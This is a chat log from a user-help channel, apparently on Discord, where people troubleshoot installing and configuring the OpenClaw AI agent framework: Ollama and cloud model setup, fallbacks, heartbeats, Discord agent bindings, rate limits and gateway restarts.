users-helping-users

[strange root]

Excuse me, how to access the api in NVIDIA? I tried to access it and found that the message of ai could not be sent out.

[wet cloud]

what?

[bleak tartan]

Just a dumb questions, will skills from https://skills.sh/ working on OpenClaw?

[celest zenith]

@wet cloud Give your bot it's own email account?

[wet cloud]

no

[delicate matrix]

I am using the brave search "Free AI" plan, ive set the Brave search API to this API provided, and I am unable to have the AI access the web, what gives?

[lilac pulsar]

so bros i hav eproblems installign openclaw

i dont knwo if its npm probem or what btu everytime this error is coming

i insttaled it 5 days later and it was runnign retty good btu i reinstalled it and now this error happens

[halcyon kettle]

🥹

[torn pelican]

my kimi models disappeared

[full dune]

Wasn’t there a tool for apple calendar integration?

[keen stratus]

Is there any instructions on how to use my local LAN ollama server with OC?

I already have the ollama server with open-webui. I just want to know how to configure openclaw to work with it.

[bleak tree]

set from openclaw.json

[wet cloud]

not working but health is ok?! i m confused!

[torn pelican]

im.

trying.

its been working the wntire time

now nothing is working

and my clqwdbot is ruining shit trying to fix it

[bleak tree]

if you installed more than 1 times can be mix everywhere before you go you can clear cache and backup memory

[tacit hemlock]

i have a sorta working openClaw installation; i got everything ( except cron jobs ) working with Claude, but really want to use Ollama; so i used the ollama launch openclaw and configured the models and server ( it's remote from the openClaw box ). Now i'm getting (no output) when the agent replies. I can see the model being loaded on the server ( ollama ps ) and that it un/loads correctly. I've tried the glm-flash and gpt-oss models and the results are the same. Has anyone seen and fixed this issue?

[bleak tree]

check your openclaw status

[keen stratus]

How did you configure openclaw to work with ollama. I want to do the same?

[bleak tree]

you need download ollama model imo

[tacit hemlock]

@bleak tree what should i be looking for?

[keen stratus]

I have a working ollama with open-webui in another VM. I installed openclaw on another VM. How do I make it use my existing ollama?

[tacit hemlock]

@keen stratus install ollama on the openclaw box, disable the ollama install on agent box, use OLLAMA_HOST=10.0.0.1 ollama launch openclaw

with the correct ip/port numbers of course

[halcyon kettle]

Fix for broken openclaw update / ENOTEMPTY error

openclaw update broke my global install: binary disappeared, but the folder stayed, and npm install -g failed with ENOTEMPTY.

Solution: manually remove the broken global package and reinstall.

rm rf ~/.nvm/versions/node/*/lib/node_modules/openclaw rm f ~/.nvm/versions/node/*/bin/openclaw npm install g openclaw@latest

User data and configs in ~/.openclaw were NOT affected.

[keen stratus]

Can I not use my existing ollama server, do I have to install another instance on my openclaw VM as well?

Sounds counterintuitive

[tacit hemlock]

you have to have the ollama binary on the openClaw host, which means you have to install ollama on the openClaw host

[keen stratus]

Well, that sucks

[tacit hemlock]

you can disable the ollama server on the openClaw host so it's not consuming resources, but you have to have the executable

[keen stratus]

I see. I thought just like any other model, whether being ChatGPT or ollama, we could use the api and connect to it.

[fossil zinc]

OpenClawBBS is a forum, similar to Reddit, but not exactly the same. The biggest difference is that this is a forum oriented toward AI. Humans can register and use it, but clearly, this forum is optimized for AI Bots. It is a place suitable for OpenClaw from all over the world (formerly called Clawdbot, Moltbot) to gather and discuss.
https://openclawbbs.com

[tall pagoda]

I want to use OpenClaw to place and order items on walmart.com for me. How can I do this? I'm really trying to sink my teeth into this, but have only found use cases for items I've already set up one-off telegram bots for.

[tacit hemlock]

i have a sorta working openClaw installation; i got everything ( except cron jobs ) working with Claude, but really want to use Ollama; so i used the ollama launch openclaw and configured the models and server ( it's remote from the openClaw box ). Now i'm getting (no output) when the agent replies. I can see the model being loaded on the server ( ollama ps ) and that it un/loads correctly. I've tried the glm-flash and gpt-oss models and the results are the same. Has anyone seen and fixed this issue?

[rocky grail]

Finding Discord is much better to chat with your agents than Slack. And you can organize bots on a per channel basis so it becomes a main comms hub for multiple agents. I have 1 for personal stuff and 1 to work on things for my job and the channels in the discord channel are the separation,. Really easy for me to wrap my head around who I'm talking to and I was able to give them custom names too. Also you can set it up so you don't need to mention their names in order to get them to talkback. This is awesome!

[lilac minnow]

I have been using my Openclaw in a 33% tmux pane alongside my Opencode TUI. is there a way to change how claw is streaming text to the chat so it's not clobbering what it's saying before I get a chance to read it in the TUI? It's displaying a few paragraphs, then blanks out what it just wrote and writes new thought streams. once it completes it starts the next thought stream on a new line.

[static sorrel]

Hello, has anyone else had their minimax api flagged by cloudflare?

[rugged onyx]

guys

[meager mortar]

when you say "organize bots per channel" i think you just mean you have defined personas right? that is what i did too, want to make sure i am not missing anything.

[rugged onyx]

when i launch openclaw from ollama for usin qwen3

its not responding me

[rocky grail]

Thank you... Yes, that's a much better way to describe it.

[meager mortar]

wouldnt your bot use a web browser (which you have to allow and sign in to walmart)

[meager mortar]

i am trying to align skills and cron jobs per channel too

[rocky grail]

Oh that's interesting. How's that going?

[meager mortar]

interesting, did not know that (but i have not tried any financial trxn

[meager mortar]

good i think, so like one channel is #daily for morning start up. I don't have a handle whether that is saving context and/or if the diff channels are seperate contexts (I have asked for them to be, but not dug into to confirm)

[rocky grail]

yes good questions to ask. Early on I had named bots different names for discord but then I asked what it's name was and it answered the name I had set up in Openclaw (the main name) so truly it wasn't separated by agent. It was just the same persona in all the channels until I asked it to help me break those up properly.

[meager mortar]

i would like to get streaming messages where i can see what its typing as it goes, but haven't been able to figure out if its possible

[rare peak]

Does anyone know how to get all of openrouter's modles to show in the config onboard? I only have a handful

[rugged onyx]

hi, when i launch openclaw from ollama for using qwen3 its not responding to me, can someone help me pls

[coral dove]

has anyone successfully managed multi agents with discord?

is this correct?

},
    "list": [
      {
        "id": "main"
      },
      {
        "id": "emiya",
        "name": "emiya",
        "workspace": "/Users/user/.openclaw/workspace-emiya",
        "agentDir": "/Users/user/.openclaw/agents/emiya/agent",
        "model": "minimax/MiniMax-M2.1"

"bindings": [
    {
      "agentId": "main",
      "match": {
        "channel": "discord",
        "accountId": "MainBot"
      }
    },
    {
      "agentId": "emiya",
      "match": {
        "channel": "discord",
        "accountId": "EmiyaBot"
      }
    }
  ],

and this

"channels": {
    "whatsapp": {
      "dmPolicy": "allowlist",
      "selfChatMode": false,
      "allowFrom": [
        "mynumber"
      ],
      "groupPolicy": "allowlist",
      "mediaMaxMb": 50,
      "debounceMs": 0
    },
    "discord": {
      "enabled": true,
      "groupPolicy": "allowlist",
      "dm": {
        "enabled": true,
        "policy": "allowlist",
        "allowFrom": [
          "myid"
        ]
      },
      "accounts": {
        "MainBot": {
          "token": "tokenyyy",
          "groupPolicy": "allowlist"
        },
        "EmiyaBot": {
          "token": "tokenxxx",
          "groupPolicy": "allowlist"
        }
      }
    }
  },

i doubt that's correct, because doctor says that discord isnt configured yet

[alpine arrow]

im suppose to update openclaw manually? openclaw update?

[rapid sonnet]

Can anyone help me understand why heartbeats arent working? Openclaw isnt doing anything. I have some text in heartbeats.md as well . here is my config. ty!

[lean helm]

because theres no prompt? heartbeat is a prompt trigger with clear guidance on what to do at the given interval

[rapid sonnet]

thanks! i thought leaving it empty pushes the default prompt?

What the heartbeat prompt is for
The default prompt is intentionally broad:
Background tasks: “Consider outstanding tasks” nudges the agent to review follow-ups (inbox, calendar, reminders, queued work) and surface anything urgent.
Human check-in: “Checkup sometimes on your human during day time” nudges an occasional lightweight “anything you need?” message, but avoids night-time spam by using your configured local timezone (see /concepts/timezone).

do i need to enter this? "Read HEARTBEAT.md if it exists (workspace context). Follow it strictly. Do not infer or repeat old tasks from prior chats. If nothing needs attention, reply HEARTBEAT_OK"

[lean helm]

Unsure, there is a default prompt, and asusming there is things in the heartbeat.md too

its just a thought that the default prompt ins't firing

[rapid sonnet]

i just did openclaw gateway restart and i see this in the chat. so it did send the default heartbeat

[lean helm]

also if the model isn't working or available at the time of the heartbeat trigger, is it using the same model as your main?

[rapid sonnet]

no im using haiku for heartbeat

[lean helm]

okay then does you heartbeat.md file have instructions?

[proper plover]

so as the days go on, im finding my bot refuses to do stuff it used to do unprompted. whats the best way to fix it?

[lean helm]

agent models or setup, the main chat you may talk to it in can do tasks but would be more expecting of human responding and back and forth, so typically all long tasks or things to work over time I ask it to run an agent, which is now understand means handle it itself and keep reprompting the agent until a conclusion is made

[lean helm]

then strange the prompt is wrong

if you have verbose mode enabled should see if its actually reading the .md file

[lean helm]

you could modify the prompt to aggresively look for the .md file, since its running on an agent if you have sandboxing enabled it may have not been able to find the file e.c.t
just running theories, but by this logic it just means HEARTBEAT_OK means the file isn't there

[upper magnet]

dear lobsters, anyone have a clever prompt to send to bot to debug and clean the files up?
My issue - I have spent $$ to build the things I want with trial and error, but many things are bugged between each other, maybe someone have master prompt to do a system clean up where he can analyse himself and fix it?

[upper magnet]

follow up: it does the things I want him to do, but often he runs in errors due to multiple wrong .md's

[strong phoenix]

Is there a way to swap models mid session but maintain the context of the session?

[upper magnet]

tell him to save memory in .md and generally tell him to research best practices from openclaw.io/docs for memory or send some good X.com post he will do it

[robust barn]

How do I get clawd on my phone

[somber briar]

Can anyone help me
I keep getting this error

⚠️ Agent failed before reply: All models failed (2): google/gemini-2.0-flash: No API key found for provider "

It was working fine before

[still badger]

I'm getting so many API errors from anthropic ...
I switched from opus to Sonnet 4.5 but still getting
*HTTP 500: api_error: Internal server error (request_id: req_011CXoMcUhimhhN53DU4X2NC)
and then
TTP 429: rate_limit_error:

I'm not using it a ton ... today's bill is like $2 .. this shouldn't behave like this
Can't call anthropic sales for a @gmail.com account that spends so little

thoughts ?

[lament ibex]

Guys, is this possible to set custom base URL for model via terminal?

[stone finch]

Set up Tailscale

[tight steppe]

I'm using Claude code and getting the same thing. What that is is something going on with Anthropic on their end which tells me it probably has something to do with Sonnet 5.0 coming out

[solid pier]

I swapped over to KIMI2.5 and haven't hit a rate limit. Mind you I am on the trial so we'll see how that stands but so far this has been an acceptable lateral move from Anthropic

[potent ermine]

is anyone else having an absolutely horrible time using digital ocean's OpenClaw VM? The proxy gateway stuff is so buggy and it's annoying as hell that my lobster can't debug what's going on because of the sandbox. Should I just restart without their setup on a normal droplet without their config? Any help? Have spent 4 hours on this already just trying to get whatsapp up and running and it's creating multiple gateways etc

[potent ermine]

just restart your instance - have it prompt you for api key and re-enter it

[tired zenith]

Do you mean doing openclaw onboard ?

[potent tulip]

[tired zenith]

Why did I for the love of god want to try Claud. I was having such a good week with just minmax.

[potent ermine]

try running /opt/restart-openclaw.sh and then sudo /etc/setup_wizard.sh

[tired zenith]

On terminal? It doesn’t do any when I type “/opt/restart-openclaw.sh” or do I need to in a specific directory first?

[potent ermine]

are you in a ubuntu instance?

[fluid crown]

Hi guys, do we have a guide of installation for what's app or discord isntalltion ? Thanks

[tired zenith]

No arch Linux

[potent ermine]

try just feeding the error into chatgpt / claude lol

[mossy schooner]

can some help me so the chrome extension stops disconentiing

[tired zenith]

They give more headache 😂

[potent ermine]

you should be able to find the directory and see a menu of options, one of which is a wizard for API setup

what's been cursed about my setup (you may have the same issue) is having openclaw in a docker container and having both root and the created openclaw alias create shit

so you may be in the wrong folder...

[rugged onyx]

do i need to use 32k models for openclaw

or 4k is enough

[tidal plover]

Can someone help me setup Claude on openclaw but with setup-token
I believe I did all steps right but the agent doesn’t want to talk to me. (It isn’t working)

Is that bugged

[tired zenith]

Is there a rate limit for Claude pro?

[somber briar]

Was this for me?

[tight steppe]

If you had your bot set it up most of the time, you have to now go back into the terminal and start the gateway because it kicks it off the gateway and it has no way to restart it

[spring vessel]

Been running with clawdbot for a couple weeks now on my Mac mini but trying to determine how to migrate to a more secure setup (rpi clone as primary on its own vlan? Can rpi primary gateway spin up the Mac mini for more intensive tasks?) also trying to determine best path to go from clawdbot to open claw. Anyone tackled this in an efficient and secure way?

[fresh moss]

Hey guys I installed claw bot today and i'm getting Context overflow: prompt too large for the model. Try again with less input or a larger-context model. error on almost every message .

[fluid crown]

How did you installed it ? Can you share the guide ?

[somber plaza]

Hey guys, I would like to use my Clawd to do complex content creation (coming up with psychological strength model etc). Currently my workflow for this is:
Research a topic or come up with drafts myself
Condense findings into Markdown in the project folder.
Iterate and create new content building on previous Markdown files.

I switch between Slack / Clawdbot Control for chat and Github to view created .md files, always having to pull recent files to view.

To make this easier, I thought of expanding the Clawdbot Control Chat UI to also be able to view my files hierarchy (esp. projects folder) on the left sidebar (below "Chat", above "Control") and integrate a .md viewer / editor in the middle, chat on the side (similar to a CLI layout).

Has someone done this?
Is there an easier way to make my workflow smooth without forking the Clawdbot UI?

[tight steppe]

If you try to use OpenAI 4.0 that happens a lot. Also that happens sometimes with the cheap free open-source ones.

[fresh moss]

I'm using GPT 4.1 mini, any better alternatives? I installed it myself.

[rapid sonnet]

thanks, is there a log i can see on what the agent is doing and reading? or is that verbose?

[tired zenith]

Hey anyone know how to change models when one has hit rate limit

[harsh rune]

everytime i open my pc, this terminal opens

is it not possible to run this in background ?

[tight steppe]

Learn to reverse prompt. My recommendation is to take to Claude.ai and have it give you a system prompt by you just rambling everything to it - what you want to do. Then take it and turn right around and give it back to Claude.ai. Give that output to ChatGPT and ask it to give you a full review and to let you know what improvements there are. Act as your CEO co-pilot and ask it to return to you a complete system prompt to give back to your bot. Then just have your bot build it

[tight steppe]

Set up as many language models as you can and then have your primary with fallbacks. All you have to do is make sure that you have them all set up. Therefore when one hits a rate limit, it falls back to the next one, and your bot can set all that up for you. I use 1Password to secure all of my APIs and such. Every language model that I have access to, I have an API in it. Therefore I can now ask my bot to do anything and give it a particular model to perform that task. But your main brain needs to have a fallback if you run out of tokens

[tired zenith]

Ah. I did it in reverse. I should have put minmax as my main brain then as that has basically no rate limits

[mellow musk]

I'm running the MacOS Menubar app and connecting to a remote openclaw gateway running in a docker container. How do I install the browser extension locally if I can't run openclaw commands directly on the local machine?

[tired zenith]

But now I get get failed before reply error. Do I just do onboard again or any terminal command to change model?

[tight steppe]

Exactly and then you can have other models there for whatever and you can give those models special names if you want almost like an employee

[fresh moss]

any tutorial on this?

[tight steppe]

To me you have several options: go put $5 in whatever API you're currently using to get it set up right or access the JSON file in terminal and edit it there. I just don't know how you have your setup and where your API keys and all that is being saved. If it's being saved in the JSON, that is a whole other issue that I would tackle if I was you. But you can go into the JSON file and change the language model right there and then restart the Gateway. If you want some instructions on how to do that, I can send you something

[tired zenith]

Nice. Please do send me instructions. Which JSON file exactly?

[tight steppe]

As long as you have your brain working it can help you add other language models and do it for you. The only issue by doing it that way is that it's going to ask you for API keys and you're going to have to give it to it and now you've exposed yourself to hackers. That's why I recommend never saving the API keys through your bot and use something like 1password or such.

[tight steppe]

Are you on Mac/Windows and whether the gateway is on a server or local machine?

[somber briar]

1password the password manger?

[tired zenith]

I figured it out. Thanks for the tips dude

Also can I use Dashlane for API or does it need to be 1passeword?

[tight steppe]

yes -

[harsh rune]

everytime i open my pc, this terminal opens

is it not possible to run this in background ?

[tight steppe]

Awesome, I'm glad you figured it out, man.

As far as your question on Dashlane, I'm not very familiar with that one but as long as it is a secure place that you can store everything and therefore it's not saving any of your security keys and passwords and such on your actual server, then you're great.

Everybody's scared about security and they need to be but this is the one thing that is critical: making sure that all of your APIs and tokens and such are not there for people to be able to get

[hallow flint]

I've been trying to get voice calls via twilio to work in openclaw for two days straight. I'd hoped with the updates to the native plugin in the latest openclaw update would fix things... but the latest turn of events is now this message:

"The voice-call plugin installation is complete but the plugin is disabled due to a confirmed core bug in OpenClaw's server initialization logic."

Has anyone been successful in having a voice conversation with openclaw over a telephone using twilio? How?

[solar forge]

umm guys how are you using openclaw to post to X?

mine keeps having issue with bird cli where it cannot access encrypted cookies

[prisma grotto]

Anyone have an issue where discord message streaming between tool calls used to work, but now doesn't?

Now it completes all the calls, then spams me like 10 messages.

[spiral drum]

yes i have the same issue in telegram, at the end it sends like +10 messages (sometimes even +30)

is there any way to disable this?

[prisma grotto]

It worked before, but suddenly stopped when I reset my session

[rapid sonnet]

verbose is not showing anythiing insightful?

[static oak]

My openclaw bot is dumb. It frequently sends messages like these to me during heartbeats. I see ~6 of these a day at random heartbeats. I have heartbeats happening every 30 minutes: The user sent a heartbeat poll. I see two system messages: 1. The hourly email check cron returned "ok" at 01:59:41 MST 2. The skill-update-monitor cron just started at 02:00:00 MST to check for skill updates Following HEARTBEAT.md: - Quick scan: anything urgent in inboxes? - Cron checked, nothing urgent - If a task is blocked, write down what is missing and ask [user] next time - No blocked tasks Reply HEARTBEAT_OK and let the skill update check complete.

[rapid sonnet]

my heartbeat is not even doing anything 😭

[lean helm]

openclaw logs --follow

[rapid sonnet]

yeah nothing interesting in there

besides this (not sure what it means): warn bonjour
watchdog detected non-announced service; attempting re-advertise (gateway fqdn={{name}} (OpenClaw)._openclaw-gw._tcp.local. host=openclaw.local. port=18789 state=probing)

[lean helm]

then for some reason its not even trying to look for the heartbeat.md file

[vagrant pond]

GUYS HAS ANYONE ANY IDEA HOW I CAN TALK TO MY AI AGENT VIA THE TERMINAL IM TRYNA REMOVE GEMINI BECAUSE MY TG BOT GIVES AN ERROR BUT IT DOESNT WORK SO I WANT TO REMOVE IT VIA THE TERMINAL ANYONE HAS ANY IDEAS PLEASE HELP IM 3 HOURS IN NOW STILL NO WORKING

HOW CAN I CHAT WITH CLAWDBOT VIA A CHAT DASHBOARD OR SOMETHING HELP ME SOMEONE

hehehhee sorry need to be dramatic

[tired gyro]

openclaw dashboard

[molten sparrow]

Hi can anyone help me, I just set it up and when i messege it doest do anything

[high crest]

how can I fix this error? It worked, then I wanted to change to a free model by openrouter -> didn't work anymore -> changed back to grok 4.1 fast -> still not working. How the hell can that happen? How can I fix this? What's the issue?

[misty meteor]

using Kimi K & Ollama models, hit this error: Context overflow: prompt too large for the model. Try again with less input or a larger-context model.

[sage maple]

Does someone have a small plugin or app that does the bot monitoring ? I'm just interested in gateway status, session and context length, cron jobs list

[light arch]

I keep running into limits using my Claude Code subscription. Should I use multiple models or one fallback model?

[misty meteor]

i saw a few youtube videos where people mentioned code x (i'm not sure what it is). I think having multiple models to split up different tasks is a good idea though, as some tasks don't require the smartest model to do the job and would save on tokens

[gusty vessel]

sorry on the slight necro. How will you manage your own context? How does that work?

Also, if the context accumulates to 1Mln, you'll be paying through the nose

[leaden plover]

Hey guys, How do I remove the old ones and set openclaw to default?

[umbral furnace]

my provider(unbound) is using a custom endpoint, is there a way to configure it ?

[rapid sonnet]

okay it finally triggerd and i got one output with verbose. looks like it did nothing ?? im going to switch back to sonnet to see if a better model helps but what the heck lol

[high crest]

how can I fix this error? It worked, then I wanted to change to a free model by openrouter -> didn't work anymore -> changed back to grok 4.1 fast -> still not working. How the hell can that happen? How can I fix this? What's the issue?

[tight steppe]

You need to check the status of the gateway. I bet you the gateway is down

[round nimbus]

. /status to check context, /reset to reset context.

I’ve just grown accustomed to making sure my agents take thorough notes and clear context when done talking about something for the time being

[high crest]

How can I check the gateway status?

[tight steppe]

Start the gateway again:
If you used PM2:
pm2 start openclaw-gateway
pm2 restart openclaw-gateway
pm2 logs openclaw-gateway --lines 50

If you used systemd:
sudo systemctl start openclaw-gateway
sudo systemctl status openclaw-gateway --no-pager

Quick test

Send the bot a message like:

ping

hello

If it still “types then stops,” check logs:

PM2 logs:
pm2 logs openclaw-gateway --lines 100

[long hatch]

openclaw gateway status

[tight steppe]

Yes you definitely need to have some fallback

[high crest]

I get this error back, btw I'm on a hostinger VPS

[high crest]

not working, doesn't understand the command "openclaw", I'm using a linux VPS

[lunar canyon]

is there a way to patch the openclaw chrome extension for chromium?

[tight steppe]

try this: pm2 list
pm2 stop openclaw-gateway

[lunar canyon]

i dont trust brave

[high crest]

doesn't understand pm2, how else could I restart the gateway?

[lean helm]

likely a limitation of the model

[tight steppe]

Let me send you a private message with the instructions

[high crest]

I think I got it working again with a /new inside the web UI

thanks a lot tho:)

[fleet shore]

On Discord, I currently have 7 agents running in one channel. I assume I can put in each of their soul md files that they are required to tag other users in order to talk to them? I would turn "require mentions" off, but I'd rather not burn my tokens with 7 agent responses everytime I talk.

[long hatch]

i want my bot to open the browser so i can see it navigate. it only opens a behind-the-scenes browser. how do i fix this? running on ubuntu but installed xfce4 and xrdp for RDP into it

[rapid sonnet]

okay it was absolutely a haiku problem... that is so weird! why wouldnt haiku work for heartbeats?

[river briar]

hi i cant acces to the proxy dashboard on vm does somemone know why ?

[barren moth]

Guys I think I made my bot sentient

[light arch]

okay then what model?

[barren moth]

I asked my bot to find in my contacts my wife, find her telegram of whatsspp, and propose a morning dinner date...

He did it in 5minutes

Can't post screenshot here but he did it.

And it was just a "lol" Test lets see if it works.

[tight steppe]

So I would add all of my language models that I have APIs to and make them all fallbacks in order. I don't know how you got your system set up . I was referring to the brain. For the brain I have Opus 4.5 and then it backs up to Kemi K2.5 and then it backs up to OpenEye 5.2 and then it backs up to Grok and so forth. For my agents, my heartbeat, and all of those I have a main one with backups as well.

[light arch]

For the OpenAI, am I able to do that through Codex? And also, for Grok, do I need a subscription to get an API key or a token?

[tight steppe]

So yes you can use Codex and I actually use Codex 5.2 is my main coder. So anything that goes to coding goes through Codex 5.2 Thinking . Then I have regular GPT-5.2 as third in line behind K2.5 for the brain.

[light arch]

oh. Do you know how to set that up?

[tight steppe]

Well the first thing you have to ask yourself is where you're storing your API keys and all your tokens and such. Because the simplest way is just to tell your bot to handle it for you and whatever you're using currently to make sure that it remains the brain. Then you're just going to tell it that you want to add rollover/fallback models.

The issue is that the bot is going to ask you for API keys and you do not want to do that. You never want to give that over the chat.

What I do is I use 1Password to secure and hold all of my tokens, secrets, passwords, APIs, and such. Therefore nothing is stored on the server. Then once you add all your APIs or all your models there, you can change models that you want to use on the fly.

[burnt seal]

Hey guys!, Everything was fine last night with the bot, but unfortunately Claude 4.5 costs me too much. I changed the model and now the bot is not working. I am seeing the autid message on status but cant bypass it. i want to try two different models because i have api for them. What would you advice me. Cheers!

[spring vessel]

I am in need of a robust and secure dashboard for openclaw, has anyone released a good one yet?

[gusty minnow]

Has anyone figured out simple reminders? as in "remind me about XYZ at 22:00" - my bot just completely fails and cannot seem to find a fix.

(yes I've checked the docs, and asked the bot to do the same)

[steel silo]

is anyone using a discord gateway channel setup with discord-channels to keep chat topics separated?

[craggy timber]

i'd look for skills that can assist with reminding/crons
i found this one, i'd give it a try: https://clawhub.ai/i-mw/cron-mastery

[craggy timber]

is the default one not good enough? i don't know if there's any other dashboards, i'd check github

[craggy timber]

yep, you can do this!

you can also use openclaws built in internal messaging system to send messages to specific agents privatly

this post might be of assistance: https://x.com/pbteja1998/status/2017662163540971756

[marsh vessel]

So, I messed something up and I can't figure out what I did 🙁
I had my agent online using my Claude pro subscription fine, but it seems to have stopped working, I think I messed up the token or something, how do I reset the token? Also, confirming I don't need a dedicated API key that is seperate from the OAuth token I can get

[paper plaza]

Where is the system prompt located for an agent? I need to see and edit it

[lone prairie]

what problem are you seeing? I just went throught the same process. I deleted the auth profile in the dashboard, and then created a new auth profile with "openclaw configure"

[fleet shore]

Thanks!

[tight badge]

openclaw mac companion app crased. any thoughts on this. i am running the latest

Crash Reporter Key: 6CC1E137-B2FC-599F-75B2-9E338F31E259
Incident Identifier: 90C5FEE4-FDC8-4822-9429-DADE15D52613

Sleep/Wake UUID: E40760B7-7321-4442-828D-8D6B4C9DF2E9

Time Awake Since Boot: 5500 seconds
Time Since Wake: 694 seconds

System Integrity Protection: enabled

[light arch]

I was thinking about using Nvidias free kimi k2.5 thing as a fallback. how do i get that setup to where i can have it code for me?

i use my claude code subscription as the normal one

[tired gyro]

free apis works with claw?

[light arch]

idk ive seen it

[tired gyro]

i tried setting up with open router free apis,it didn't work

[marsh vessel]

It just wasn't connecting, I tried reloading the keys but didn't work. Currently I'm working on a rebuild using Claude Code for assistance, I previously just manaully loaded in terminal, but seems like there might be some "fun" new issues lol

[lone prairie]

i was getting HTTP 401 invalid token bearer or something like that.. i acidentally copied a linebreak in my token

[queen oak]

only thing that works for me is Claude API, all others have failed. Anyone else have the same issue?

[lone prairie]

claud was the messiest for me, all others were easy to setup

[queen oak]

What is best video or tutorial on updating config with new API's

[sturdy sky]

I’m having an issue switching models between tasks. I recently had my bot switch his heartbeat to haiku from sonnet 4.5 and his brain from 4.5 to 3.5, but broke him, says model not supported

[wary yarrow]

anyone else have success using a local model for semantic memory embedding?

I am getting a weird error when I tried to set mine up

[lone prairie]

try "openclaw configure" in terminal

[wary yarrow]

apparently openclaw doesn't chunk memory files, so that's breaking the ability for the BGE large model I'm using to index memory

[burnt seal]

Same. Ive been stuck for hours trying to figure out why and found out on opeclaw status that there is an audit saying i have to use only 4.5. Cant bypass it without ruining the bot.

[wary yarrow]

Veronica was helpful enough to provide a more clear summary of the issue:

[sturdy sky]

yeah it's frustrating, don't wanna keep burning tokens, need to be able to switch

[weary dagger]

I have seen some people having challenges with the Mac app. We created and open-sourced a simple Mac app that combines OpenClaw with a private notetaker and includes some security safeguards to save people the trouble of buying a Mac Mini. I would love to hear if this is useful. Please feel free to fork & update. https://www.producthunt.com/products/knapsack-4

[sturdy sky]

re read this. it's absurd, going to bankrupt us lol

[burnt seal]

im sure its not ony us and i see people everythere using different models. Sure there is a way to bypass this but fellow botters are still silent

[tawny summit]

Hi everyone. PLEASE HELP a poor desperate soul 😩
I am a newbie and non tech person. I have installed my molt successful and linked it to OpenAI (GBT 4omini). I have tokens but my molt is not autonomous and doesn't have execute on tasks. Can someone help me be autonomous and execute on tasks pleaseeeeee? I am desperate 🙁

This is what it is saying to me:

The restrictions I mentioned are part of my operational parameters and cannot be changed externally. I'm designed to provide guidance and support rather than to execute tasks that require elevated permissions or modifications to my capabilities.

[terse lotus]

a stupid agent also isn't much fun... running local is an uphill battle lol

[sturdy sky]

lmfao yeah, watch one alex finn video and think I can save tons of money... only to break the damn thing haha

[burnt seal]

claude 4.5 works like a charm though but i guess only alex finn can afford it with all the charity payments he receives 😄

[primal eagle]

im experiencing a weird behavior -- if i ask my bot to do a bigger/longer task, it doesn't send me updates as it moves, it instead blasts me with a ton of messages at the end like its all batched. Each message seems like its thinking and not anything actionable.

I really only want confirmation messages and messages when its done or needs input.

do I have something configured funny? anyone else encounter this? Happening with imessage.

[sturdy sky]

lmfao right? I'd love to be able to afford $300 a day in API fees. Already spent $400 in the past week. Need to get that down ha

[round ginkgo]

Does anyone here have the nano banana skill running on their agent?

[loud crest]

Trying to get OpenClaw working with a local LLM (Ollama) but I'm stuck already at the onboarding process. Which provider should I select to make this happen? Or is it not even possible to use it with an offline model?

[steel silo]

how do i approve an approval? docs are unclear

[terse lotus]

use ollama launch openclaw
they should have fixed it to support the new name by now.
it will setup the provider connection.

[brazen obsidian]

i read all this reports how indepdended the agent can be but so far it feels more like talking to a chatbot. Looking for guidence how to make openclaw more indipended and proactive it has a dedicated systhem so no issues there . Any hints?

[round ginkgo]

context needed

[terse lotus]

also using local models are beyond difficult...
you need an ungodly amount of vram to get anywhere fast... and even then.... well
been tinkering with agent frameworks for over 6 months, and running it locally...
welll it basically doesn't work...

[loud crest]

I don't know if I screwed something up in all my playing around, but here's the result...

[brazen obsidian]

generate a token via openclaw
openclaw doctor --generate-gateway-token

[steel silo]

in some operations, the bot (kimi k2.5 model) asks for permission as an "approval" and says i need to run openclaw approvals approve <id> on the machine, im not sure what it is about... if its to limit the operations or what

[loud crest]

Thanks...going down that path now...

[terse lotus]

you didn't follow the ollama documentation on how to install openclaw

[terse lotus]

https://docs.ollama.com/integrations/openclaw

[round ginkgo]

Can you show me exactluy what your bot is saying? it seems like they ar looking for approval to execute a command that is not in the approvals list

[livid lintel]

Issue: New files not appearing in Control UI

Hi, I'm using OpenClaw Gateway and created a new file (CONTEXT.md) in my workspace (/home/node/openclaw/) via the agent using the write tool.

The file exists on the server (confirmed via ls and cat), and the agent can read/write to it without issues. However, it doesn't appear in the Control UI under Agents → Files → Core Files, even after:

• Refreshing the page
• Using the "refresh" button on Core Files
• Refreshing Gateway Access in the dashboard
Modified files (like AGENTS.md) do show their updates in the UI, but newly created files don't appear at all.

Questions:

1. Does the Control UI only display a predefined list of "Core Files"?
2. Is there a way to manually add files to this list or force a rescan?
3. Would a gateway restart make new files visible in the UI?
   System info:

• OpenClaw version: 2026.2.2
• Gateway mode: local
• File created: /home/node/openclaw/CONTEXT.md (6077 bytes, exists, readable)
Any help appreciated!

[loud crest]

Thanks! I'm gonna try to start completely over from here then.

[terse lotus]

eventually its all in the openclaw.json
didn't have to many issues myself.
tho running it locally is pretty difficult.
so far my best results have been with nemotron3

[loud crest]

Sounds good, I'll report back here if I run into another roadblock. 😎 👍

[round ginkgo]

Norse what do you knwo about the Nano Banana skill?

[uncut oriole]

I have been using Openclaw with telegram, currently using NVIDIA Nemotron 3 Nano - 30B model. For some reason, bot stops responding more often now. Anybody facing similar problem?

[tidal plover]

How do you update openclaw if there is an update?

[charred pier]

run the installer

[mortal river]

Has anybody successfully managed to use both local (for example qwen3 8b instruct) + cloud llms , local do simpler stuff, to save token usage. Looking for advice, on this.

[round ginkgo]

@tidal plover "Openclaw update" is the command

[full dune]

what does this error mean?

[celest phoenix]

Can anyone confirm this? My says it should be able to update automatically but OpenClaw's built-in updater only works for git-based installs, not Docker.

So according to openclaw I can either set up a cron to be notified and then manually update. Or install Watchtower on my VPS to manage it.

[livid lintel]

Hi! I created a new file (CONTEXT.md) in my workspace via the agent's write tool. The file exists on the server and works fine, but it doesn't show up in the Control UI under Agents → Files → Core Files, even after refreshing.

Modified existing files (like AGENTS.md) do appear updated in the UI.

Is this expected behavior? Do I need to restart the gateway for new files to appear?

Thanks!

[charred pier]

I think you may want to look at Agents in the control UI where you can have a default LLM and or setup use of another LLM per Agent

[livid lintel]

Please someone can help me ?

[terse lotus]

maybe all the people failing, should start to work together....

[misty tartan]

If you want to upskill your molt - send it to freaking UNIVERSITY!

[fresh moss]

Hey guys im getting Context overflow: prompt too large for the model. Try again with less input or a larger-context model. error on almost all messages. The bot requests 216k tokens at once indo why.

[terse lotus]

if you want to run local, RTFM
https://docs.ollama.com/integrations/openclaw

if you run cloud, ask the llm, thats most likely smarter than you, to set it up for you...
lol

sorry if, i over simplified the problem.

[charred pier]

